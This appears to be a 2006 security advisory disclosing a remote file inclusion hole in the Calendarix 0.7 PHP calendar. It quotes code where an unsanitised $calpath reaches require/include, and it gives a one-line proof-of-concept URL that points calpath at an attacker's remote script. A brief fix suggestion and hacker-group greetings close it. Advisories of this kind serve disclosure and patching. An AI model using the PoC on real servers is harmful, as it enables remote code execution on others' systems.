calendarix07.txt

`---------------------------------------------------------------------------------------  
Calendarix 0.7 calpath Remote File Inclusion  
---------------------------------------------------------------------------------------  
Author : Sh3ll  
Date : 2006/08/11  
HomePage : http://www.sh3ll.ir  
Contact : sh3ll[at]sh3ll[dot]ir  
---------------------------------------------------------------------------------------  
Affected Software Description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Application : Calendarix  
version : 0.7.20060401  
Venedor : http://www.calendarix.com  
Class : Remote File Inclusion  
Risk : High  
Summary :   
Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL.  
---------------------------------------------------------------------------------------  
Vulnerability:  
~~~~~~~~~~~~~  
in cal_config.inc.php We Found Vulnerability Script  
--------------------------------------cal_config.inc.php-------------------------------  
....  
<?php  
// Check file exist for admin call to this script  
require $calpath."cal_db.inc.php";  
...  
$language = 'e';  
# don't change next 3 lines !  
require $calpath."cal_languages/".$language.".inc.php";   
require $calpath."cal_languages/".$language.".months.php";   
require $calpath."cal_languages/".$language.".week.php";  
...  
include $calpath."themes/".$theme.".color.php" ;  
?>  
...  
---------------------------------------------------------------------------------------  
PoC:  
~~~  
http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]  
  
Solution:  
~~~~~~~~  
Sanitize Variabel $calpath in cal_config.inc.php  
----------------------------------------------------------------------------------------  
Note:  
~~~~  
Venedor Contacted, But No Response. So Do a Dirty Patch.  
----------------------------------------------------------------------------------------  
Shoutz:  
~~~~~~  
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena  
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams   
`